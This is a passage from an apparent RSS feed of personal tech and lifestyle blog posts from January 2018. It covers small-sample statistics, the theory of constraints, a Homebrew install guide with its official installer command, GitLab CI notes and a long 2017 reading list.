&lt;/ul&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Just select Wilcox.test since it is appropriate for non-parametric and enough power to detect a difference&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;https://stats.stackexchange.com/a/66235/124490&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Use bootstrapped values:&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;http://biostat.mc.vanderbilt.edu/wiki/pub/Main/JenniferThompson/ms_mtg_18oct07.pdf&lt;/li&gt;
&lt;li&gt;Requires more than 8 samples.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;https://stats.stackexchange.com/questions/33300/determining-sample-size-necessary-for-bootstrap-method-proposed-method&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;However, some say we may require more than 20&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;https://speakerdeck.com/jakevdp/statistics-for-hackers&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Using Permutation test:&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;It works with a fewer sample size as compared to bootstrapping but it cannot generate confidence interval.&amp;nbsp;&lt;/li&gt;
&lt;li&gt;In fact, Wilcox test is a subset of a permutation&amp;nbsp;test.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Plainly displaying the data points with a confidence interval.&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Using Effect size to illustrate the "significance". Site: https://garstats.wordpress.com/2016/05/02/robust-effect-sizes-for-2-independent-groups/&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Some of the recommendations&amp;nbsp;include&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;ul&gt;&lt;ul&gt;&lt;ul&gt;
&lt;li&gt;Cohens.d (Not to use for non-normal/non-parametric data)&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Cliff's delta (Non-parametric ordinal data)&lt;/li&gt;
&lt;li&gt;Mutual information (MI)&lt;/li&gt;
&lt;li&gt;Kolmogorov-Smirnov&lt;/li&gt;
&lt;li&gt;Wilcox &amp;amp; Muska’s Q&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Equivalence test. Site:&amp;nbsp;https://support.minitab.com/en-us/minitab/18/help-and-how-to/statistics/equivalence-tests/supporting-topics/why-use-an-equivalence-test/&amp;nbsp;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;This option requires knowing&amp;nbsp;the "difference" which has some biological/Clinical significance.&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;div&gt;
Overall, this gives us many options but still, this is no panacea. The small sample size is a very difficult issue and these "solutions" can help to minimize the pain.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;</description><author>Thoughts and ideas</author><pubDate>Wed, 17 Jan 2018 03:58:03 GMT</pubDate><guid isPermaLink="true">https://www.ashish.zip/2018/01/dealing-with-low-sample-size.html</guid></item><item><title>Theory of constraints</title><link>https://smcleod.net/2018/01/theory-of-constraints/</link><description>&lt;h3 id="a-chain-is-no-stronger-than-its-weakest-link"&gt;&amp;ldquo;A chain is no stronger than its weakest link&amp;rdquo;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Any improvement made anywhere besides the bottleneck is an illusion.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Any improvement made after the bottleneck is useless because it will always remain starved waiting for work from the bottleneck.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Any improvement made before the bottleneck merely results in more ‘work&amp;rsquo; piling up at the bottleneck.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Identify&lt;/em&gt; the system&amp;rsquo;s constraint(s) (that which prevents the organisation from obtaining more of the goal in a unit of time)&lt;/li&gt;
&lt;li&gt;Decide how to &lt;em&gt;exploit&lt;/em&gt; the system&amp;rsquo;s constraint(s) (how to get the most out of the constraint)&lt;/li&gt;
&lt;li&gt;Subordinate everything else to the above decision (&lt;em&gt;align&lt;/em&gt; the whole system or organization to support the decision made above)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Elevate&lt;/em&gt; the system&amp;rsquo;s constraint(s) (make other major changes needed to increase the constraint&amp;rsquo;s capacity)&lt;/li&gt;
&lt;li&gt;Warning! If in the previous steps a constraint has been broken, go back to step 1, but do not allow inertia to cause a system&amp;rsquo;s constraint.&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;h3 id="references"&gt;References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.amazon.com/The-Phoenix-Project-Helping-Business/dp/0988262592"&gt;The Phoenix Project&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Theory_of_constraints"&gt;Wikipedia - Theory of Constraints&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>smcleod.net</author><pubDate>Wed, 17 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://smcleod.net/2018/01/theory-of-constraints/</guid></item><item><title>The Blackrock letter, in one sentence...</title><link>https://stop.zona-m.net/2018/01/the-blackrock-letter-in-one-sentence.../</link><description>&lt;p&gt;The founder of a huge investment fund just made a very important announcement, and my instintive reaction was&amp;hellip;&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 16 Jan 2018 18:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/the-blackrock-letter-in-one-sentence.../</guid></item><item><title>We have stopped blogging</title><link>https://yasha.solutions/we-have-stopped-blogging/</link><description>We have stopped blogging
Once blogging was a thing
Not a thing to talk about business
But a place where people would share
ideas
thoughts
moments
emotions
stories
with each others.
I think we should do more of that
We should start blogging again.
We should bring this conversation back.
We left to the Facebooks and the Twitters take the control of the conversations
(and no, I am not ranting against these platforms, for a change… see, I actually think Facebook and Twitter and social media as a whole has enabled a lot more people to get in touch with each other… the fact that they do other very bad thing is a different story, but fundamentally, as a conversational platform, they are pretty good…)</description><author>Yasha Solutions</author><pubDate>Tue, 16 Jan 2018 14:09:45 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/we-have-stopped-blogging/</guid></item><item><title>You can finally have (virtual) sex with ANYONE you know. Or even...</title><link>https://stop.zona-m.net/2018/01/you-can-finally-have-virtual-sex-with-anyone-you-know.-or-even.../</link><description>&lt;p&gt;Yes, You Can! Just combine these two pieces of news to see how easy it is (and maybe start worrying on which &lt;strong&gt;end&lt;/strong&gt; of that sex you may end up).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update 2018/01/25: check out the &amp;ldquo;confirmation&amp;rdquo; linked below&lt;/strong&gt;&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 16 Jan 2018 13:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/01/you-can-finally-have-virtual-sex-with-anyone-you-know.-or-even.../</guid></item><item><title>Brew install everything</title><link>https://jasonraimondi.com/posts/brew-install-everything/</link><description>&lt;h4 id="install-brew"&gt;Install Brew&lt;/h4&gt;
&lt;p&gt;Visit &lt;a href="http://brew.sh/"&gt;Homebrew&lt;/a&gt; for the download link.. Before you are able to install Homebrew, you first need to have &lt;a href="https://itunes.apple.com/us/app/xcode/id497799835?mt=12"&gt;Xcode installed&lt;/a&gt; and up to date. Open up your Terminal and agree to the Xcode and Apple SDKs Agreement by type &lt;code&gt;sudo xcodebuild -license&lt;/code&gt; and then type &amp;lsquo;agree&amp;rsquo; to agree.&lt;/p&gt;
&lt;p&gt;Now you need to enter in the Homebrew install script and let it run. You&amp;rsquo;re good to go!&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/bin/ruby -e &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;There are only 5 commands you need to remember to be fluent.&lt;/p&gt;</description><author>Jason Raimondi on Software Engineer</author><pubDate>Tue, 16 Jan 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://jasonraimondi.com/posts/brew-install-everything/</guid></item><item><title>Exploring Text Compression</title><link>https://denvaar.dev/posts/exploring_text_compression.html</link><description>Challenges, takeaways, and findings of coding up a famous text compression algorithm.</description><author>denvaar's website</author><pubDate>Tue, 16 Jan 2018 08:40:09 GMT</pubDate><guid isPermaLink="true">https://denvaar.dev/posts/exploring_text_compression.html</guid></item><item><title>Hello, I am making a modern fullstack JS tutorial livestream. What questions do you have for me?</title><link>https://www.swyx.io/hello-i-am-making-a-modern-fullstack-js-tutorial-what-questions-do-you-have-for-me-dg3</link><description>&lt;hr /&gt;</description><author>swyx's site RSS Feed</author><pubDate>Tue, 16 Jan 2018 08:26:44 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/hello-i-am-making-a-modern-fullstack-js-tutorial-what-questions-do-you-have-for-me-dg3</guid></item><item><title>Goodby Simple, hello Gatsby</title><link>https://tomforb.es/blog/goodby-simple-hello-gatsby/</link><description>Many years ago, inspired by a blogging platform called Svbtle , I built a clone called Simple. It was pretty simple - just a minimal Flask app backed by a Sqlite database, but had some cool features. You could log in with Mozilla’s Persona (RIP), edit posts using an in-browser editor and drag ‘n’ dr...</description><author>Tom Forbes</author><pubDate>Tue, 16 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://tomforb.es/blog/goodby-simple-hello-gatsby/</guid></item><item><title>4 places to draw inspiration from for practicing React Native</title><link>https://goshacmd.com/get-inspired-for-react-native-ui/</link><author>Gosha Spark</author><pubDate>Tue, 16 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/get-inspired-for-react-native-ui/</guid></item><item><title>GitLab CI for SnailLife Go</title><link>https://liza.io/gitlab-ci-for-snaillife-go/</link><description>&lt;p&gt;I finally got GitLab CI up and running for the SnailLife Go port. The CI just runs the bash scripts I already had to test and build client and server. I had to make some changes for the tests to be able to run without the auth config files (which I obviously don&amp;rsquo;t want to submit to a public repo). Now, if an auth config file is not available I look for environment variables to get the Auth0 client ID and secret. Gitlab lets you set secret environment variables for the CI to use. I did something similar to get the name of the environment - if an env file with the environment name is not found, we check environment variables for the name (and then load relevant configs from there).&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Mon, 15 Jan 2018 23:11:35 GMT</pubDate><guid isPermaLink="true">https://liza.io/gitlab-ci-for-snaillife-go/</guid></item><item><title>Online Convergence</title><link>https://venam.net/blog/psychology/2018/01/16/online-convergence.html</link><description>This article is about nothing surprising but may act as a reminder to anyone that wanders online or that manages a community.  There's too much already written about the subject of echo chambers so what I'll do is list ideas that I find interesting but that aren't mentioned enough.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Mon, 15 Jan 2018 19:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/psychology/2018/01/16/online-convergence.html</guid></item><item><title>Recommended books from 2017</title><link>https://josh.works/recommended-books-from-2017</link><description>&lt;p&gt;I read many books in 2017. I’m listing them out here, along with recommendations. Here’s the recommendation “key”:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;👍 = I recommend this book. This is intentionally fuzzy.&lt;/li&gt;
  &lt;li&gt;😔 = This book influenced my mental model of the world/reality/myself&lt;/li&gt;
  &lt;li&gt;🏢 = Book topic is architecture and/or urbanism&lt;/li&gt;
  &lt;li&gt;💵 = Book topic is finance/economics/politics&lt;/li&gt;
  &lt;li&gt;😫 = This book is hard to get through. Lengthy and/or academic (or both)&lt;/li&gt;
  &lt;li&gt;🐲 = Fiction (most of the fiction I read had fantastic(al) creatures in them, hence the dragon)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="january"&gt;January&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/28595941-arcanum-unbounded"&gt;Arcanum Unbounded: The Cosmere Collection&lt;/a&gt; 👍 🐲&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/885970.Patterns_of_Home"&gt;Patterns of Home: The Ten Essentials of Enduring Design&lt;/a&gt; 🏢&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/6611240-three-felonies-a-day"&gt;Three Felonies a Day: How the Feds Target the Innocent&lt;/a&gt; 💵&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/30137076-heal-us-emmanuel"&gt;Heal Us, Emmanuel: A Call for Racial Reconciliation, Representation, and Unity in the Church&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/7292000-espresso-lessons"&gt;Espresso Lessons&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/6422238-makers"&gt;Makers&lt;/a&gt; 🐲&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/18693655-a-mind-for-numbers"&gt;A Mind for Numbers: How to Excel at Math and Science (Even If You Flunked Algebra)&lt;/a&gt; 😔 👍&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/13588356-daring-greatly"&gt;Daring Greatly: How the Courage to Be Vulnerable Transforms the Way We Live, Love, Parent, and Lead&lt;/a&gt; 👍 😔&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/35870.Ghost_in_the_Shell"&gt;Ghost in the Shell (Ghost in the Shell, #1)&lt;/a&gt; 🐲&lt;/li&gt;
&lt;/ul&gt;

&lt;!--more--&gt;

&lt;h3 id="february"&gt;February&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/9364729-eloquent-ruby"&gt;Eloquent Ruby&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/11084145-steve-jobs"&gt;Steve Jobs&lt;/a&gt; 👍&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/14741290-the-secret-thoughts-of-an-unlikely-convert"&gt;The Secret Thoughts of an Unlikely Convert: An English Professor’s Journey Into Christian Faith&lt;/a&gt; 😔&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/25066990-living-with-a-seal"&gt;Living with a SEAL: 31 Days Training with the Toughest Man on the Planet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/25852784-evicted"&gt;Evicted: Poverty and Profit in the American City&lt;/a&gt; 😔 💵&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="march"&gt;March&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/15794037-the-problem-of-political-authority"&gt;The Problem of Political Authority: An Examination of the Right to Coerce and the Duty to Obey&lt;/a&gt; 😔 👍 💵&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/81940.Mastery"&gt;Mastery: The Keys to Success and Long-Term Fulfillment&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/28259132-chaos-monkeys"&gt;Chaos Monkeys: Obscene Fortune and Random Failure in Silicon Valley&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="april"&gt;April&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/86154.The_Mystery_of_Capital"&gt;The Mystery of Capital: Why Capitalism Triumphs in the West and Fails Everywhere Else&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/26312997-peak"&gt;Peak: Secrets from the New Science of Expertise&lt;/a&gt; 👍&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/12609433-the-power-of-habit"&gt;The Power of Habit: Why We Do What We Do in Life and Business&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/2213661.The_Graveyard_Book"&gt;The Graveyard Book&lt;/a&gt; 👍 🐲&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="may"&gt;May&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/7241373-for-the-win"&gt;For the Win&lt;/a&gt; 🐲&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/29902035-agile-web-development-with-rails-5"&gt;Agile Web Development with Rails 5&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/7886338-the-lifecycle-of-software-objects"&gt;The Lifecycle of Software Objects&lt;/a&gt; 🐲&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/33115566-arrival"&gt;Arrival&lt;/a&gt; 👍 🐲&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/35111930-the-san-francisco-fallacy"&gt;The San Francisco Fallacy: The Ten Fallacies That Make Founders Fail&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/7324357-last-call"&gt;Last Call: The Rise and Fall of Prohibition&lt;/a&gt; 😔 👍 😫&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/30165203-american-gods"&gt;American Gods&lt;/a&gt; 🐲&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="june"&gt;June&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/28257707-the-subtle-art-of-not-giving-a-f-ck"&gt;The Subtle Art of Not Giving a F*ck: A Counterintuitive Approach to Living a Good Life&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/13122143-unwritten-laws-of-engineering"&gt;Unwritten Laws Of Engineering&lt;/a&gt; 👍 😔&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/13330588-happy-city"&gt;Happy City: Transforming Our Lives Through Urban Design&lt;/a&gt; 💵 🏢&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/54388.Money_Bank_Credit_and_Economic_Cycles"&gt;Money, Bank Credit, and Economic Cycles&lt;/a&gt; 💵 😫&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/35202699-your-move"&gt;Your Move: The Underdog’s Guide to Building Your Business&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="july"&gt;July&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/13642523-catastrophic-care"&gt;Catastrophic Care: How American Health Care Killed My Father—and How We Can Fix It&lt;/a&gt; 😔 👍&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/2744.Anansi_Boys"&gt;Anansi Boys&lt;/a&gt; 🐲&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/11324722-the-righteous-mind"&gt;The Righteous Mind: Why Good People are Divided by Politics and Religion&lt;/a&gt; 😔 👍&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/29491894-cherish"&gt;Cherish: The One Word That Changes Everything for Your Marriage&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/25451264-death-s-end"&gt;Death’s End (Remembrance of Earth’s Past, #3)&lt;/a&gt; 👍 🐲 😫&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="august"&gt;August&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/332583.Understanding_Marijuana"&gt;Understanding Marijuana: A New Look at the Scientific Evidence&lt;/a&gt; 👍 😫&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/19411707-how-to-learn-memorize-poetry-using-a-memory-palace-specifically-de"&gt;How to Learn &amp;amp; Memorize Poetry&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/2122.The_Fountainhead"&gt;The Fountainhead&lt;/a&gt; 😫 🐲&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/2984216-tactics"&gt;Tactics: A Game Plan for Discussing Your Christian Convictions&lt;/a&gt; 😔&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/4553119-practical-anarchy"&gt;Practical Anarchy&lt;/a&gt; 💵&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/3089447-denationalisation-of-money"&gt;Denationalisation of Money: The Argument Refined&lt;/a&gt; 💵&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/119322.The_Golden_Compass"&gt;The Golden Compass (His Dark Materials, #1)&lt;/a&gt; 🐲&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/119324.The_Subtle_Knife"&gt;The Subtle Knife (His Dark Materials, #2)&lt;/a&gt; 🐲&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/12720771-the-privatization-of-roads-and-highways"&gt;The Privatization of Roads and Highways&lt;/a&gt; 💵 😔&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/45352.When_I_Don_t_Desire_God"&gt;When I Don’t Desire God: How to Fight for Joy&lt;/a&gt; 😔 👍&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="september"&gt;September&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/22816087-seveneves"&gt;Seveneves&lt;/a&gt; 😫 🐲&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/2507760.The_Origins_of_Proslavery_Christianity"&gt;The Origins of Proslavery Christianity: White and Black Evangelicals in Colonial and Antebellum Virginia&lt;/a&gt; 😔 😫&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/47212.Storm_Front"&gt;Storm Front (The Dresden Files, #1)&lt;/a&gt; 🐲&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/6604712-eating-animals"&gt;Eating Animals&lt;/a&gt; 😔 👍&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="october"&gt;October&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/280412.The_Run_of_His_Life_"&gt;The Run of His Life: The People versus O.J. Simpson&lt;/a&gt; 👍&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/20186.Seeing_Like_a_State"&gt;Seeing Like a State: How Certain Schemes to Improve the Human Condition Have Failed&lt;/a&gt; 👍 😔 💵&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/64341.The_Metamorphosis_of_Prime_Intellect"&gt;The Metamorphosis of Prime Intellect&lt;/a&gt; 🐲&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/91477.Fool_Moon"&gt;Fool Moon (The Dresden Files, #2)&lt;/a&gt; 🐲&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/161744.Common_Sense"&gt;Common Sense&lt;/a&gt; 💵&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/3.Harry_Potter_and_the_Sorcerer_s_Stone"&gt;Harry Potter and the Sorcerer’s Stone (Harry Potter, #1)&lt;/a&gt; 🐲&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/82256.The_Sovereign_Individual"&gt;The Sovereign Individual: Mastering the Transition to the Information Age&lt;/a&gt; 👍 😔 💵&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/6613404-anatomy-of-the-state"&gt;Anatomy of the State&lt;/a&gt;  💵&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/16130.Alexander_Hamilton"&gt;Alexander Hamilton&lt;/a&gt; 👍 😔 😫&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="november"&gt;November&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/14891877-two-cheers-for-anarchism"&gt;Two Cheers for Anarchism&lt;/a&gt; 😔&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/27310522-drone"&gt;Drone: Remote Control Warfare&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/91478.Summer_Knight"&gt;Summer Knight (The Dresden Files, #4)&lt;/a&gt; 🐲&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/25817279-door-to-door"&gt;Door to Door: The Magnificent, Maddening, Mysterious World of Transportation&lt;/a&gt; 💵 🏢&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/81976.The_Case_Against_the_Fed"&gt;The Case Against the Fed&lt;/a&gt; 💵&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/815790.City_of_Darkness"&gt;City of Darkness: Life in Kowloon Walled City&lt;/a&gt; 👍 🏢&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/20176373-home-grown"&gt;Home Grown: Adventures in Parenting off the Beaten Path, Unschooling, and Reconnecting with the Natural World&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/820924.Refuge"&gt;Refuge: An Unnatural History of Family and Place&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/25855473-outpatients"&gt;Outpatients&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id="december"&gt;December&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/34002132-oathbringer"&gt;Oathbringer (The Stormlight Archive, #3)&lt;/a&gt; 👍 😫 🐲&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/29358.Charlie_Wilson_s_War"&gt;Charlie Wilson’s War&lt;/a&gt; 👍 💵&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/3109.The_Omnivore_s_Dilemma"&gt;The Omnivore’s Dilemma: A Natural History of Four Meals&lt;/a&gt; 👍 😔&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/91479.Death_Masks"&gt;Death Masks (The Dresden Files, #5)&lt;/a&gt; 🐲&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/81977.What_Has_Government_Done_to_Our_Money_and_The_Case_for_the_100_Percent_Gold_Dollar"&gt;What Has Government Done to Our Money?&lt;/a&gt; 💵&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/99383.Blood_Rites"&gt;Blood Rites (The Dresden Files, #6)&lt;/a&gt; 🐲&lt;/li&gt;
  &lt;li&gt;&lt;a href="The End of Jobs: Money, Meaning and Freedom Without the 9-to-5"&gt;The End of Jobs: Money, Meaning and Freedom Without the 9-to-5&lt;/a&gt; 💵&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://www.goodreads.com/book/show/31804439-12-ways-your-phone-is-changing-you"&gt;12 Ways Your Phone Is Changing You&lt;/a&gt; 😔 👍&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That’s it. It was a good year of reading.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Mon, 15 Jan 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/recommended-books-from-2017</guid></item><item><title>Systems research I'm watching for in 2018</title><link>https://makedist.com/posts/2018/01/15/systems-research-im-watching-for-in-2018/</link><description>Distributed shared memory systems, language runtimes, and server frameworks.</description><author>Noah Watkins</author><pubDate>Mon, 15 Jan 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2018/01/15/systems-research-im-watching-for-in-2018/</guid></item><item><title>Apollo: A history of software design.</title><link>https://danielsada.tech/blog/apollo-software-history/</link><description>As tradition follows, we usually get screenings of interesting movies in class, today we got a screening of Moon Machines [1] a documentary by the science channel about the Apollo Guidance system and their corresponding code.This documentary was about the testimonies of people in MIT and the general creation of the whole Apollo mission.
